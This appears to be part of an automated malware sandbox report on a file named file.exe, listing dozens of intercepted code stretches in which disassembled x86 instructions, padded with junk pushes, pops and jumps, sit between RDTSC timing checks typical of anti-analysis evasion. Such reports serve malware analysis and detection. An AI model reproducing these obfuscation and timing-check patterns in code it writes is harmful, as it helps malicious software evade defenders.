Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4E45 second address: 3A4EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push edx 0x0000000a movzx ebx, bx 0x0000000d pop edi 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F15447FC6A8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a or edi, 680A322Dh 0x00000030 push ebx 0x00000031 call 00007F15447FC6AAh 0x00000036 mov dword ptr [ebp+122D3619h], edi 0x0000003c pop ebx 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 movzx edi, di 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F15447FC6B1h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3C85 second address: 3A3C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A50DC second address: 3A50E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6E1F second address: 3A6E24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A5FD9 second address: 3A5FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F15447FC6B1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6FB6 second address: 3A6FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA481 second address: 3AA48B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA48B second address: 3AA48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC114 second address: 3AC119 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB3BA second address: 3AB3C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB3C0 second address: 3AB3E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F15447FC6B0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD225 second address: 3AD267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+12478B69h] 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D1D8Eh], ebx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F1544B5F468h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov bl, 3Ch 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push edi 0x00000039 je 00007F1544B5F466h 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD267 second address: 3AD279 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007F15447FC6A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD279 second address: 3AD284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1544B5F466h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE349 second address: 3AE397 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F15447FC6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F15447FC6A8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+12478A4Ah], esi 0x00000030 push 00000000h 0x00000032 jo 00007F15447FC6ACh 0x00000038 mov ebx, dword ptr [ebp+122D399Bh] 0x0000003e mov edi, dword ptr [ebp+12478AC2h] 0x00000044 xchg eax, esi 0x00000045 push ecx 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF21F second address: 3AF22D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF22D second address: 3AF231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF231 second address: 3AF242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F46Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF242 second address: 3AF247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B0399 second address: 3B03A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B03A4 second address: 3B03D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F15447FC6ACh 0x0000000e or di, D6B3h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 mov edi, dword ptr [ebp+122D58F4h] 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f xchg eax, esi 0x00000020 jo 00007F15447FC6B2h 0x00000026 jns 00007F15447FC6ACh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD4FB second address: 3AD501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B15B0 second address: 3B15B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4316 second address: 3B4343 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1544B5F478h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F1544B5F466h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B357E second address: 3B3582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3582 second address: 3B3586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4572 second address: 3B4577 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F06E second address: 35F094 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1544B5F466h 0x00000008 jns 00007F1544B5F466h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F1544B5F46Eh 0x00000016 jo 00007F1544B5F466h 0x0000001c pushad 0x0000001d popad 0x0000001e jp 00007F1544B5F472h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F094 second address: 35F09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BCF95 second address: 3BCF9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD11B second address: 3BD121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BD121 second address: 3BD13E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F1544B5F466h 0x0000000d jmp 00007F1544B5F46Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C26CC second address: 3C2704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F15447FC6B2h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 pushad 0x00000011 jmp 00007F15447FC6B0h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edi 0x0000001a mov eax, dword ptr [eax] 0x0000001c push esi 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2704 second address: 3C2718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F1544B5F46Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2718 second address: 3C271C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C285F second address: 1EEAC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 08DFBF85h 0x00000010 clc 0x00000011 push dword ptr [ebp+122D10FDh] 0x00000017 jl 00007F1544B5F471h 0x0000001d call dword ptr [ebp+122D3608h] 0x00000023 pushad 0x00000024 sub dword ptr [ebp+122D3603h], esi 0x0000002a xor eax, eax 0x0000002c add dword ptr [ebp+122D3603h], edx 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 jmp 00007F1544B5F478h 0x0000003b mov dword ptr [ebp+122D39CBh], eax 0x00000041 jnp 00007F1544B5F467h 0x00000047 cmc 0x00000048 mov esi, 0000003Ch 0x0000004d cld 0x0000004e stc 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 mov dword ptr [ebp+122D3603h], eax 0x00000059 lodsw 0x0000005b pushad 0x0000005c mov si, ax 0x0000005f mov edi, 2CCEAE25h 0x00000064 popad 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 jmp 00007F1544B5F470h 0x0000006e mov ebx, dword ptr [esp+24h] 0x00000072 stc 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push edi 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C79D8 second address: 3C79F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F15447FC6B3h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C79F5 second address: 3C79FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354F5D second address: 354F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354F61 second address: 354F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354F71 second address: 354F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 354F7B second address: 354F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C66BE second address: 3C66C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6DEF second address: 3C6E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F1544B5F47Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1544B5F478h 0x00000014 jmp 00007F1544B5F46Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6E36 second address: 3C6E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6F91 second address: 3C6F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6F95 second address: 3C6F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6F9B second address: 3C6FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6FA5 second address: 3C6FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6FA9 second address: 3C6FC5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1544B5F466h 0x00000008 jmp 00007F1544B5F472h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6FC5 second address: 3C6FD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F15447FC6A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7115 second address: 3C711B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C72A0 second address: 3C72A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C72A4 second address: 3C72C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1544B5F476h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C72C4 second address: 3C72E7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15447FC6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F15447FC6B6h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C73FE second address: 3C7402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7402 second address: 3C7406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C756B second address: 3C757E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1544B5F468h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C757E second address: 3C7583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7583 second address: 3C759F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F1544B5F466h 0x00000009 jnp 00007F1544B5F466h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jl 00007F1544B5F466h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C759F second address: 3C75A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CEBC3 second address: 3CEC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1544B5F46Dh 0x0000000a jne 00007F1544B5F468h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F1544B5F47Eh 0x00000019 js 00007F1544B5F466h 0x0000001f jmp 00007F1544B5F472h 0x00000024 jmp 00007F1544B5F46Eh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CEC0C second address: 3CEC25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15447FC6AFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CEC25 second address: 3CEC29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDB54 second address: 3CDB5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDB5A second address: 3CDB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDB6B second address: 3CDB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F15447FC6A6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d jnl 00007F15447FC6AAh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDB86 second address: 3CDB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF5D second address: 3CDF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15447FC6B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF75 second address: 3CDF7F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1544B5F466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF7F second address: 3CDF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF85 second address: 3CDF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF8B second address: 3CDF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF91 second address: 3CDF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDF95 second address: 3CDFB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F15447FC6ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F15447FC6ACh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE387 second address: 3CE38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE38C second address: 3CE398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F15447FC6A6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398AF7 second address: 398B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F471h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398B0C second address: 398B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398B10 second address: 37FC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b adc cx, CE5Ah 0x00000010 mov dword ptr [ebp+122D2B64h], eax 0x00000016 call dword ptr [ebp+122D1D88h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f jp 00007F1544B5F466h 0x00000025 jmp 00007F1544B5F479h 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398BB9 second address: 398BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398E93 second address: 1EEAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007F1544B5F468h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F1544B5F478h 0x00000012 nop 0x00000013 jmp 00007F1544B5F471h 0x00000018 jmp 00007F1544B5F471h 0x0000001d push dword ptr [ebp+122D10FDh] 0x00000023 add dx, 624Dh 0x00000028 call dword ptr [ebp+122D3608h] 0x0000002e pushad 0x0000002f sub dword ptr [ebp+122D3603h], esi 0x00000035 xor eax, eax 0x00000037 add dword ptr [ebp+122D3603h], edx 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 jmp 00007F1544B5F478h 0x00000046 mov dword ptr [ebp+122D39CBh], eax 0x0000004c jnp 00007F1544B5F467h 0x00000052 cmc 0x00000053 mov esi, 0000003Ch 0x00000058 cld 0x00000059 stc 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e mov dword ptr [ebp+122D3603h], eax 0x00000064 lodsw 0x00000066 pushad 0x00000067 mov si, ax 0x0000006a mov edi, 2CCEAE25h 0x0000006f popad 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jmp 00007F1544B5F470h 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d stc 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 push edi 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398F38 second address: 398F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
